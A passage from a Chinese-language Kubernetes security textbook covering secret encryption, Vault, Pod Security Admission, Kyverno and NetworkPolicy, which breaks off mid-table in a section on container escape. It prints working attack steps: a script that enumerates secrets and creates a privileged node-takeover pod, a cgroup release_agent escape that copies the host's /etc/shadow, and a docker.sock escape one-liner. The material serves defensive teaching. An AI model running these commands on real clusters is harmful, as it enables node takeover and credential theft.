echo "[2] ★ 我是谁?我能干什么?"
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -X POST \
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NS\"}}" \
"$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
| python3 -m json.tool 2>/dev/null | head -60
echo ""
echo "[3] 尝试列出所有命名空间的 Secret"
for ns in $(curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces" | python3 -c 'import sys,json;print("\n".join([i["metadata"]["name"] for i in json.load(sys.stdin)["items"]]))' 2>/dev/null); do
echo " --- namespace: $ns ---"
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$ns/secrets" \
| python3 -c '
import sys,json,base64
try:
d = json.load(sys.stdin)
if "items" not in d:
print(" 拒绝访问(好现象)"); sys.exit()
for s in d["items"]:
if s["type"] == "kubernetes.io/service-account-token":
print(f" ★★★ 找到 SA token Secret: {s[\"metadata\"][\"name\"]}")
except Exception as e:
print(f" error: {e}")
'
done
echo ""
echo "[4] ★ 如果有权限,直接创建特权 Pod 接管节点"
cat > /tmp/escape.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: node-takeover
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine:3.19
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/yaml" -X POST \
--data-binary @/tmp/escape.yaml \
"$APISERVER/api/v1/namespaces/default/pods" | head -20
echo ""
echo "===== ★★★ 防御方法(对应每一步)====="
echo " [1] → automountServiceAccountToken: false(默认不挂载)"
echo " [2] → 最小权限 RBAC,不给 wildcard、不给 secrets get/list"
echo " [3] → ★ 用 Role 而不是 ClusterRole(限制在命名空间内)"
echo " [4] → ★★ Pod Security Admission / Kyverno 禁止特权 Pod"
echo " ★ 这是唯一能防住第 4 步的手段,RBAC 做不到"
10.4.4 Secret 管理:K8s 里最大的误解
★★★ 必须先破除的一个误解:
K8s 的 Secret 【不是加密的】,它只是 base64 编码。
base64 是一种编码,不是加密。
★ 任何人都能 1 秒解出来:
echo 'YWRtaW4xMjM=' | base64 -d
→ admin123
★ 生活类比:
把密码写在纸上,然后放进一个"透明的文件袋"。
文件袋上贴着"机密"两个字。
→ 看起来像保护了,实际谁都能看见。
# ★ 眼见为实
kubectl create secret generic db-pass --from-literal=password=SuperSecret123
kubectl get secret db-pass -o yaml
# data:
# password: U3VwZXJTZWNyZXQxMjM= ← ★ 这就是 base64
echo 'U3VwZXJTZWNyZXQxMjM=' | base64 -d
# → SuperSecret123 ★ 就这样解出来了
# ★★ 直接从 etcd 里看(更真实)
kubectl exec -it -n kube-system etcd-<node> -- sh
etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets/default/db-pass
# → 输出里能看到明文密码(★ 未开启静态加密的话)
★ 防御一:开启 etcd 静态加密(Encryption at Rest)
# ============================================================
# /etc/kubernetes/pki/encryption-config.yaml
# ★ 放在 master 节点上
# ============================================================
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets # ★ 只对 secrets 加密
providers:
# ★★ provider 是有顺序的:第一个用于写入,其余用于读取
- aescbc: # ★ 推荐(或 kms)
keys:
- name: key1
secret: <32字节的base64字符串>
- identity: # ★ 必须放最后,用于读取历史未加密数据
# 生成密钥
head -c 32 /dev/urandom | base64
# 修改 kube-apiserver 启动参数
# /etc/kubernetes/manifests/kube-apiserver.yaml
spec:
containers:
- command:
- kube-apiserver
- --encryption-provider-config=/etc/kubernetes/pki/encryption-config.yaml # ★ 加这行
volumeMounts:
- name: encryption-config
mountPath: /etc/kubernetes/pki/encryption-config.yaml
readOnly: true
volumes:
- name: encryption-config
hostPath:
path: /etc/kubernetes/pki/encryption-config.yaml
type: File
# ★ 配置完不会自动加密已有 Secret,需要强制重写一次
kubectl get secrets -A -o json | kubectl replace -f -
# ★ 这一步会触发所有 Secret 重新写入 → 用新的加密配置
# 验证
kubectl exec -it -n kube-system etcd-<node> -- sh -c \
"etcdctl ... get /registry/secrets/default/db-pass" | head -c 200
# → ★ 应该看到 k8s:enc:aescbc:v1:key1: 开头的密文
★★★ 更推荐的方案:KMS Provider(用云厂商的 KMS)
- aescbc: 密钥存在 master 节点的配置文件里
★ 问题:能登录 master 的人就能拿到密钥
- kms: ★ 密钥存在云 KMS 里,apiserver 每次加解密都要调 KMS API
→ 好处:
① 密钥不在节点上(★ 节点被攻破也拿不到)
② 有完整的密钥使用审计日志
③ 可以在云侧一键禁用密钥 → 整个集群的 Secret 立刻无法解密
★ 这是应急响应的杀手锏
→ 代价:每次读写 Secret 都多一次 API 调用(有本地缓存缓解)
★ 防御二:外部 Secret 管理(治本方案)
★ 方案对比
┌────────────────────────┬────────────────────────────────────────┐
│ 方案 │ 说明 │
├────────────────────────┼────────────────────────────────────────┤
│ ① K8s Secret + 静态加密 │ 基础,必须做,但 Secret 仍在集群内 │
├────────────────────────┼────────────────────────────────────────┤
│ ② ★ External Secrets │ Secret 存在云密钥管理服务里 │
│ Operator │ Operator 自动同步成 K8s Secret │
│ │ ★ 好处:单一数据源、自动轮换、集中审计 │
│ │ ★ 缺点:最终还是落到 K8s Secret │
├────────────────────────┼────────────────────────────────────────┤
│ ③ ★★ Vault + CSI Driver│ Secret 存在 Vault,通过 CSI 卷挂载进 Pod │
│ │ ★★ 根本不创建 K8s Secret 对象! │
│ │ ★ 而且可以动态凭据(每次用都是新的密码) │
├────────────────────────┼────────────────────────────────────────┤
│ ④ ★★★ 完全不用 Secret │ 用 IRSA / Workload Identity │
│ (云资源场景) │ ★ 没有密钥 = 没有泄露 │
└────────────────────────┴────────────────────────────────────────┘
★★ 我的推荐顺序:
云资源访问 → 用 ④(IRSA),彻底消灭密钥
数据库密码 → 用 ③(Vault 动态凭据)或 ②(External Secrets)
实在不行 → 用 ①,但必须开启 KMS 静态加密 + 严格 RBAC
# ============================================================
# External Secrets Operator 示例
# ============================================================
apiVersion: external-secrets.io/v1beta1
kind: SecretStore
metadata:
name: aws-secrets-manager
namespace: production
spec:
provider:
aws:
service: SecretsManager
region: cn-north-1
auth:
jwt:
serviceAccountRef:
name: external-secrets-sa # ★ 用 IRSA,不需要 AK/SK
---
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
name: db-credentials
namespace: production
spec:
refreshInterval: 1h # ★ 每小时同步一次(云侧轮换后自动生效)
secretStoreRef:
name: aws-secrets-manager
kind: SecretStore
target:
name: db-credentials # ★ 生成的 K8s Secret 名字
creationPolicy: Owner
data:
- secretKey: password # K8s Secret 里的 key
remoteRef:
key: prod/mysql # 云密钥管理服务里的 key
property: password
# ============================================================
# ★ Vault Agent Injector(★ 应用零改造,自动注入)
# ============================================================
apiVersion: v1
kind: Pod
metadata:
name: app-with-vault
annotations:
vault.hashicorp.com/agent-inject: "true"
vault.hashicorp.com/role: "production"
vault.hashicorp.com/agent-inject-secret-db: "database/creds/prod-role"
vault.hashicorp.com/agent-inject-template-db: |
{{- with secret "database/creds/prod-role" -}}
export DB_USER="{{ .Data.username }}"
export DB_PASS="{{ .Data.password }}"
{{- end }}
spec:
serviceAccountName: app-sa
containers:
- name: app
image: myapp:1.0
# ★ 效果:
# ① Vault sidecar 自动注入
# ② 用 SA token 去 Vault 认证
# ③ Vault 【动态生成】一个数据库账号(有效期 1 小时)
# ④ 渲染成文件挂载给应用
# ★★ 数据库密码从不出现在 etcd、YAML、git 里
10.4.5 准入控制:唯一能防住“恶意 Pod”的机制
★ 为什么这一节最重要: 前面讲的 RBAC 能限制“谁能创建 Pod”,但它管不了“创建什么样的 Pod”。 如果一个主体(人或 SA)有
pods: create权限,他就一定能创建特权 Pod—— RBAC 没有办法说“你可以创建 Pod,但不能创建特权 Pod”。 ★ 能做到这件事的只有准入控制器。
什么是准入控制器
★ 名词:Admission Controller(准入控制器) 白话:API Server 在处理请求时的“安检门”。 请求已经通过了认证(你是谁)和授权(你能不能做), 但在真正写入 etcd 之前,还要过这道门——门可以拒绝,也可以修改请求。
一次 kubectl apply 的完整流程:
kubectl apply -f pod.yaml
│
▼
┌─────────────────────────────────────────────┐
│ ① 认证(Authentication) │
│ 你是谁?(证书 / token / OIDC) │
│ 失败 → 401 Unauthorized │
└─────────────────────────────────────────────┘
↓ 通过
┌─────────────────────────────────────────────┐
│ ② 授权(Authorization / RBAC) │
│ 你能不能做这个操作? │
│ 失败 → 403 Forbidden │
└─────────────────────────────────────────────┘
↓ 通过
┌─────────────────────────────────────────────┐
│ ③ ★★ 准入控制(Admission) │
│ ├─ Mutating(修改):改请求内容 │
│ │ 例:自动注入 sidecar、加默认标签 │
│ └─ Validating(校验):通过或拒绝 │
│ 例:禁止特权容器、必须有资源限制 │
│ 失败 → 请求被拒绝,不会写入 etcd │
└─────────────────────────────────────────────┘
↓ 通过
┌─────────────────────────────────────────────┐
│ ④ 写入 etcd │
└─────────────────────────────────────────────┘
★★★ 关键点:准入控制是【唯一的】能在"写入之前"检查【内容】的环节
RBAC 只看"谁 + 什么操作",不看"操作的具体内容是什么"
★ 名词:Pod Security Admission(PSA) 白话:K8s 官方内置的 Pod 安全准入控制器(1.25+ 正式可用), 把 Pod 的安全要求分成三档,你给命名空间打个标签就生效。 ★ 前身是 PodSecurityPolicy(PSP),PSP 太难用在 1.21 被废弃、1.25 移除。
Pod Security Standards 三档
┌──────────────┬───────────────────────────────────────────────────┐
│ 级别 │ 白话 + 禁止了什么 │
├──────────────┼───────────────────────────────────────────────────┤
│ ★ Privileged │ 【完全不限制】(等于没开) │
│ (特权) │ 只用于:系统组件(CNI、CSI、监控 agent) │
│ │ → kube-system 等命名空间才会用 │
├──────────────┼───────────────────────────────────────────────────┤
│ ★★ Baseline │ 【挡住已知的危险用法】,适合绝大多数业务 │
│ (基线) │ 禁止: │
│ │ - privileged 特权容器 │
│ │ - hostNetwork / hostPID / hostIPC │
│ │ - hostPath 卷 │
│ │ - hostPort │
│ │ - 危险的 capabilities(如 SYS_ADMIN) │
│ │ - 特权端口(<1024) │
│ │ - /proc 的某些挂载类型 │
│ │ - SELinux/AppArmor 的自定义配置 │
│ │ ★ 不要求:runAsNonRoot、seccomp(这些在 restricted) │
├──────────────┼───────────────────────────────────────────────────┤
│ ★★★ │ 【最严格,安全最佳实践】 │
│ Restricted │ 在 Baseline 基础上,额外要求: │
│ (严格) │ ✔ 必须 runAsNonRoot: true │
│ │ ✔ 必须 allowPrivilegeEscalation: false │
│ │ ✔ 必须设置 seccompProfile: RuntimeDefault │
│ │ ✔ 只能保留 NET_BIND_SERVICE 这一个 capability │
│ │ ✔ 必须丢弃 ALL capabilities │
│ │ ✔ volume 类型受限(不能有 hostPath) │
│ │ ★ 代价:很多老应用跑不起来(如需要 root 的) │
└──────────────┴───────────────────────────────────────────────────┘
★ 三个模式(mode):
enforce → 违反就拒绝(★ 生产用这个)
audit → 不拒绝,但记录到审计日志(★ 先开这个观察)
warn → 不拒绝,但 kubectl 会返回警告给客户端(★ 开发体验最好)
★★ 落地建议(三步走,避免上线就炸):
① 先给命名空间打 audit + warn,观察 2 周
② 用 kubectl 看审计日志,找出会被拦的 Pod,逐一改造
③ 改成 enforce
# ============================================================
# PSA 配置实战
# ============================================================
# ① 给命名空间打标签
kubectl label namespace production \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/enforce-version=latest \
pod-security.kubernetes.io/audit=restricted \
pod-security.kubernetes.io/warn=restricted
# ★ 开发环境用 baseline(宽松些,避免影响效率)
kubectl label namespace dev \
pod-security.kubernetes.io/enforce=baseline \
pod-security.kubernetes.io/warn=restricted
# ★ 系统组件必须豁免(否则 CNI/CSI 起不来)
kubectl label namespace kube-system \
pod-security.kubernetes.io/enforce=privileged
# ② 测试:试试创建一个特权 Pod,看会不会被拦
kubectl -n production run test --image=nginx --privileged
# Error from server (Forbidden): pods "test" is forbidden:
# violates PodSecurity "restricted:latest":
# privileged (container "test" must not set securityContext.privileged=true)
# ③ ★ 看谁会被拦(先用 audit 模式跑一段时间,再查审计日志)
kubectl -n production get events --field-selector reason=FailedCreate
# ④ ★★ 排错技巧:如何知道我的 Pod 为什么被拒?
# 错误信息会明确列出违反了哪几条,逐条改
# 常见需要改的:
# - 加 securityContext.runAsNonRoot: true
# - 加 securityContext.allowPrivilegeEscalation: false
# - 加 securityContext.capabilities.drop: ["ALL"]
# - 加 securityContext.seccompProfile.type: RuntimeDefault
# ============================================================
# ★ 一个能通过 Restricted 标准的 Pod 模板(★ 收藏这个)
# ============================================================
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
namespace: production
spec:
serviceAccountName: app-sa
automountServiceAccountToken: false
securityContext: # ★ Pod 级别
runAsNonRoot: true
runAsUser: 10001 # ★ 非 0 的普通用户
runAsGroup: 10001
fsGroup: 10001
seccompProfile:
type: RuntimeDefault # ★ 用容器运行时的默认 seccomp
containers:
- name: app
image: myapp:1.0
securityContext: # ★ 容器级别(★ 两个级别都要写)
allowPrivilegeEscalation: false # ★★ 阻止 setuid 提权
runAsNonRoot: true
runAsUser: 10001
privileged: false
readOnlyRootFilesystem: true # ★★ 只读根文件系统(非常有效!)
capabilities:
drop: ["ALL"] # ★★ 丢弃所有 capability
resources:
requests:
cpu: 100m
memory: 128Mi
limits:
cpu: 500m
memory: 512Mi
# ★ 只读根文件系统,需要写的地方单独挂 emptyDir
volumeMounts:
- name: tmp
mountPath: /tmp
- name: cache
mountPath: /app/cache
volumes:
- name: tmp
emptyDir: {} # ★ 内存盘,Pod 删了就没了
- name: cache
emptyDir: {}
★★ 加几句关于 readOnlyRootFilesystem:
这是【性价比最高】的一条加固。
开启后,攻击者即使进了容器,也:
✗ 不能下载木马(没有写权限)
✗ 不能改应用代码
✗ 不能改 /etc/passwd
✗ 不能写计划任务
★ 一句话:把攻击者的"落地"这一步直接砍掉
代价:如果应用需要写临时文件,要显式挂 emptyDir
→ 大部分应用改一下配置就能支持
Kyverno vs Gatekeeper vs PSA 怎么选
┌─────────────────┬──────────────────────────────────────────────┐
│ │ 选型建议 │
├─────────────────┼──────────────────────────────────────────────┤
│ ★ PSA(内置) │ 优点:零安装、零维护、官方标准 │
│ │ 缺点:只能管 Pod 安全这【一件事】 │
│ │ ★ 结论:所有集群都应该开,作为【底线】 │
├─────────────────┼──────────────────────────────────────────────┤
│ ★★ Kyverno │ 优点:YAML 写策略(★ 不用学 Rego) │
│ │ 能管所有资源(不只是 Pod) │
│ │ 能 mutate(自动修复/注入) │
│ │ 能生成资源(如自动建 NetworkPolicy) │
│ │ 能做镜像验证(配合 cosign) │
│ │ ★ 结论:★ 2026 年的首选,绝大多数团队用它 │
├─────────────────┼──────────────────────────────────────────────┤
│ ★ Gatekeeper │ 优点:OPA 生态(已有 Rego 策略可复用) │
│ (OPA) │ 能复用非 K8s 场景的策略 │
│ │ 缺点:★ Rego 学习曲线陡 │
│ │ ★ 结论:已经在用 OPA 管其他系统的团队选它 │
└─────────────────┴──────────────────────────────────────────────┘
★★ 推荐组合(★ 最实用):
PSA(restricted) → 兜底,防止任何 Pod 有致命配置
+ Kyverno → 公司自定义规范(标签、镜像仓库、资源限制)
+ 镜像签名验证(cosign) → 供应链(见第九章)
# ============================================================
# ★ Kyverno 实战策略集(生产可直接用)
# ============================================================
# 策略 1:★ 只允许从公司私有镜像仓库拉取
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-image-registries
spec:
validationFailureAction: Enforce
rules:
- name: validate-registries
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "★ 镜像必须来自公司私有仓库 registry.example.com"
pattern:
spec:
containers:
- image: "registry.example.com/*" # ★ 只允许这个前缀
---
# 策略 2:★ 验证镜像签名(供应链安全,配合第九章的 cosign)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
spec:
validationFailureAction: Enforce
webhookTimeoutSeconds: 30
rules:
- name: check-signature
match:
any:
- resources:
kinds: ["Pod"]
verifyImages:
- imageReferences:
- "registry.example.com/*"
attestors:
- count: 1
entries:
- keyless: # ★ Sigstore keyless(见 9.3)
subject: "https://github.com/myorg/*/.github/workflows/release.yml@refs/heads/main"
issuer: "https://token.actions.githubusercontent.com"
rekor:
url: https://rekor.sigstore.dev
---
# 策略 3:★ 禁止使用 latest 标签 + 必须有资源限制(综合)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: pod-best-practices
spec:
validationFailureAction: Enforce
rules:
- name: no-latest-tag
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "禁止使用 latest 标签"
pattern:
spec:
containers:
- image: "!*:latest"
- name: require-resource-limits
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "必须设置 CPU/内存 limit"
pattern:
spec:
containers:
- resources:
limits:
memory: "?*"
cpu: "?*"
- name: require-probes
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "必须配置 livenessProbe 和 readinessProbe"
pattern:
spec:
containers:
- livenessProbe:
periodSeconds: ">0"
readinessProbe:
periodSeconds: ">0"
---
# 策略 4:★ 自动生成默认 NetworkPolicy(★ 见 10.4.6,非常有用)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: generate-default-networkpolicy
spec:
rules:
- name: default-deny-ingress
match:
any:
- resources:
kinds: ["Namespace"]
generate:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
name: default-deny-ingress
namespace: "{{ request.object.metadata.name }}"
synchronize: true
data:
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
# ★ 只放行 DNS(★ 否则所有服务都解析不了域名)
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
10.4.6 网络策略(NetworkPolicy):K8s 里最该做却最少做的事
★★★ 一个必须知道的事实:
K8s 集群默认【所有 Pod 之间网络全通】。
任何 Pod 可以直接访问任何其他 Pod 的任意端口。
跨命名空间也是通的。
★ 生活类比:
住进一个小区,所有住户家的门都不锁,而且互相能直接进。
你觉得"大家都是邻居,应该没问题"。
直到有一天,一个外卖员(被攻破的边缘 Pod)进来,
挨家挨户走了一遍。
★ 真实事故场景:
攻击者通过一个前端 nginx 的 RCE 进来了
→ 发现能直接连到 10.0.3.15:6379(Redis,无密码)
→ 发现能直接连到 10.0.5.22:3306(MySQL)
→ 发现能连到 kubelet 的 10250 端口(★ 节点沦陷)
→ ★★ 整个过程没有任何阻碍
★ 名词:NetworkPolicy 白话:Pod 级别的防火墙规则。 你可以写“只允许 A 访问 B 的 8080 端口”,其他全拒。
★ 关键前提:NetworkPolicy 只是规则声明, 必须由 CNI 插件来实现。 ★ 如果 CNI 不支持(如 Flannel 默认不支持),你写了也完全不生效——而且不会报错!
CNI 插件对 NetworkPolicy 的支持
┌──────────────────┬────────────────┬──────────────────────┐
│ CNI │ 支持 NP? │ 备注 │
├──────────────────┼────────────────┼──────────────────────┤
│ Calico │ ★ 支持(最强) │ 还支持全局策略、DNS 策略│
│ Cilium │ ★ 支持(+L7) │ ★ 还能基于 HTTP 路径过滤│
│ Weave Net │ 支持 │ │
│ Antrea │ 支持 │ │
│ ★ Flannel │ ✗ 不支持! │ ★★ 最流行的 CNI 之一, │
│ │ │ 但不实现 NP! │
│ │ │ → 需搭配 Calico 使用 │
│ AWS VPC CNI │ 支持(需装额外)│ 要装 network policy agent│
└──────────────────┴────────────────┴──────────────────────┘
★ 验证你的集群是否支持(★ 一定要先测):
创建一条 default-deny 策略,然后看 Pod 之间还能不能通
如果还能通 → ★ 你的 NetworkPolicy 是"纸糊的"
# ★ 验证 NP 是否真的生效(必测)
kubectl run nginx --image=nginx --port=80
kubectl run busybox --image=busybox:1.36 -- sleep 3600
NGINX_IP=$(kubectl get pod nginx -o jsonpath='{.status.podIP}')
echo "=== 测试 1:应用策略前 ==="
kubectl exec busybox -- wget -qO- --timeout=5 http://$NGINX_IP && echo "✓ 能连通"
# 应用默认拒绝
cat <<'EOF' | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: default
spec:
podSelector: {} # ★ 空 = 选中本命名空间所有 Pod
policyTypes:
- Ingress
- Egress
EOF
echo "=== 测试 2:应用策略后 ==="
kubectl exec busybox -- wget -qO- --timeout=5 http://$NGINX_IP \
&& echo "✗✗ 还能连通 = NetworkPolicy 没生效!检查 CNI" \
|| echo "✓ 被拒绝了 = NetworkPolicy 正常工作"
★ 网络策略的正确落地姿势
# ============================================================
# 第一步:★ 默认拒绝所有(每个命名空间都要有)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {} # 选中所有 Pod
policyTypes:
- Ingress # 拒绝所有入站
- Egress # ★ 拒绝所有出站(★ 这个更重要!)
# ★ 没写 egress 规则 = 拒绝所有出站
# → 能挡住:挖矿外联、数据外传、反弹 shell、下载木马
---
# ============================================================
# 第二步:★ 放行 DNS(★ 不放行所有服务都会挂)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-dns
namespace: production
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system # ★ K8s 1.21+ 自动打的标签
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
---
# ============================================================
# 第三步:★ 三层架构的典型放行规则
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-web-to-api
namespace: production
spec:
podSelector:
matchLabels:
tier: api # 规则作用在 api 层
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
tier: web # ★ 只允许来自 web 层
ports:
- protocol: TCP
port: 8080 # ★ 只放行 8080
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-api-to-db
namespace: production
spec:
podSelector:
matchLabels:
tier: db
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
tier: api
ports:
- protocol: TCP
port: 3306
---
# ============================================================
# 第四步:★ 跨命名空间的规则(监控为例)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-prometheus-scrape
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: monitoring
podSelector:
matchLabels:
app: prometheus
ports:
- protocol: TCP
port: 9090
---
# ============================================================
# 第五步:★ 允许访问外网,但禁止访问云元数据(★ 关键!)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-internet-block-metadata
namespace: production
spec:
podSelector: {}
policyTypes:
- Egress
egress:
# ★ 先放行 DNS
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- protocol: UDP
port: 53
# ★ 放行内网和公网
- to:
- ipBlock:
cidr: 10.0.0.0/8
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32 # ★★ 排除云元数据服务!
- 169.254.170.2/32 # ECS 任务元数据
- 100.100.100.200/32 # 阿里云元数据
★★ NetworkPolicy 的五个坑(踩过的都懂)
坑 1:★ 忘了放行 DNS → 整个命名空间的服务全挂
现象:应用报 "could not resolve host"
排查:kubectl exec -it pod -- nslookup kubernetes.default
★ 建议:把 DNS 规则做成 Kyverno 自动生成(见 10.4.5 策略 4)
坑 2:★ Egress 规则和 Ingress 规则是独立的
很多人以为"我允许 A 访问 B"就双向通了
★ 错!Ingress 管入站,Egress 管出站,要分别写
→ A→B 需要:B 的 Ingress 允许 A,且 A 的 Egress 允许 B
坑 3:★ ipBlock 不能用来选 Pod
ipBlock 只能写 CIDR(IP 段),不能写 Pod 标签
★ 原因:Pod IP 会变
→ 选 Pod 必须用 podSelector + namespaceSelector
坑 4:★ 健康检查会被挡
kubelet 的 liveness/readiness probe 是从【节点】发起的
如果你的 Ingress 规则没放行节点网段 → 探针失败 → Pod 被反复重启
★ 解决:放行节点 CIDR,或者用 Cilium 的 hostEntity 类型
坑 5:★ 网络策略没有日志(默认)
出问题了你不知道是"被策略挡了"还是"服务本身挂了"
→ 解决:用 Cilium(有 Hubble,能看到被拒绝的连接)
或 Calico 的 flow logs
★★★ 落地建议(重要):
不要一上来就 default-deny-all 生产环境
✅ 正确顺序:
① 先只写 Ingress 拒绝(保留 Egress 全通)
→ 影响最小,能挡住大部分横向移动
② 观察 1~2 周
③ 再逐步收 Egress(★ 这个影响大,要按服务逐个梳理)
④ ★ 用 Cilium/Hubble 的"策略建议"功能自动生成规则
10.4.7 容器逃逸:从容器到宿主机
★ 名词:容器逃逸(Container Escape) 白话:从“容器里的进程”突破到“宿主机上的进程”。 ★ 逃出去之前你只能影响这一个容器; 逃出去之后你能看到这台机器上的所有容器、所有数据、kubelet 的凭据。
★ 先纠正一个认知:容器不是"虚拟机"
虚拟机:有独立的操作系统内核,隔离靠【硬件虚拟化】
★ 逃出来需要攻破 hypervisor(很难)
容器: ★ 共享宿主机的同一个内核!
隔离靠的是 Linux 内核的三个机制:
① Namespace(命名空间)—— 你看得见什么
进程号、网络、文件系统挂载点、用户、主机名...
② Cgroups(控制组)—— 你能用多少
CPU、内存、磁盘 IO
③ Capabilities / seccomp / MAC —— 你能做什么
细粒度的权限控制
★★ 结论:容器的隔离是【软件隔离】,不是硬件隔离
内核有漏洞 → 所有容器一起沦陷
配置给多了(privileged)→ 隔离形同虚设
★ 六种逃逸手法(从“必须给的权限”到“内核漏洞”)
┌────────────────────────────────────────────────────────────────┐
│ 手法 1:★★★ 特权容器(privileged: true) │
├────────────────────────────────────────────────────────────────┤
│ ★ 白话:privileged = 把容器的所有限制都拆掉 │
│ 容器拿到宿主机的【全部 capabilities】,能访问所有设备 │
│ │
│ ★ 逃逸步骤(只要 3 条命令): │
│ # 在特权容器里执行 │
│ fdisk -l # ① 看到宿主机的磁盘 │
│ mkdir /mnt/host && mount /dev/sda1 /mnt/host │
│ # ② 挂载宿主机根分区 │
│ chroot /mnt/host /bin/bash # ③ ★ 切换到宿主机环境 │
│ → 现在你就是宿主机 root │
│ │
│ ★ 更狠的(利用 cgroup release_agent,甚至不需要 mount): │
│ # ① 挂载 cgroup 并创建一个子 cgroup │
│ mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp │
│ mkdir /tmp/cgrp/x │
│ # ② 开启 notify_on_release │
│ echo 1 > /tmp/cgrp/x/notify_on_release │
│ # ③ ★ 设置宿主机上要执行的命令 │
│ host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) │
│ echo "$host_path/cmd" > /tmp/cgrp/release_agent │
│ # ④ 写要执行的命令(在宿主机上以 root 执行) │
│ echo '#!/bin/sh' > /cmd │
│ echo "cat /etc/shadow > $host_path/shadow.txt" >> /cmd │
│ chmod +x /cmd │
│ # ⑤ 触发:让 cgroup 变空 → 内核调用 release_agent │
│ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" │
│ → ★ 宿主机执行了 /cmd,shadow 被拷出来 │
└────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────┐
│ 手法 2:★★★ 挂载 Docker Socket(/var/run/docker.sock) │
├────────────────────────────────────────────────────────────────┤
│ ★ 白话:Docker _socket = Docker 的"遥控器" │
│ 拿到它 = 你能让 Docker 做任何事 │
│ ★★ 而 Docker daemon 是【root 权限】运行的 │
│ │
│ ★ 为什么有人会挂它: │
│ - CI/CD 需要在容器里构建镜像(Docker-in-Docker) │
│ - 监控工具需要收集容器信息 │
│ - ★ 图省事(最常见) │
│ │
│ ★ 逃逸命令(一条搞定): │
│ docker run -it --rm -v /:/host --privileged alpine chroot /host│
│ → 启动一个挂载宿主机根目录的特权容器 │
│ → 宿主机沦陷 │
│ │
│ ★ 检测: │
│ kubectl get pods -A -o json | jq '... 找 hostPath 含 docker.sock│
│ │
│ ★ 替代方案(不要挂 socket): │
│ - 构建镜像:用 Kaniko / Buildah / BuildKit(rootless) │
│ - 监控:用 cAdvisor(只读 /proc,不需要 socket) │
│ - ★ 如果必须挂:用 dind + 独立的不带特权的 Docker daemon │
└────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────┐
│ 手法 3:★★ 挂载宿主机敏感目录(hostPath) │
├────────────────────────────────────────────────────────────────┤
│ 常见危险挂载: │
│ / → 宿主机根目录(★ 直接改文件) │
│ /etc → 改 /etc/crontab(计划任务)、/etc/passwd│
│ /var/log → 可能读到其他容器的日志(含敏感信息) │
│ /proc → 能看到所有进程,能改内核参数 │
│ /var/lib/kubelet → ★★ 里面有 kubeconfig 和所有 Pod 的 │
│ ServiceAccount token! │
│ /root/.ssh → 拿 SSH 私钥 │
│ /var/run/docker.sock → 见手法 2 │
│ │
│ ★★ 最阴险的是 /var/lib/kubelet: │
│ 里面存着该节点上【所有 Pod】的 SA token(投影卷的源文件) │
│ → 拿到任意一个 → 变成那个 SA → 可能直接是集群管理员 │
└────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────────┐
│ 手法 4:★★ 危险的 Linux Capabilities │
├────────────────────────────────────────────────────────────────┤
│ ★ 名词:Capabilities │
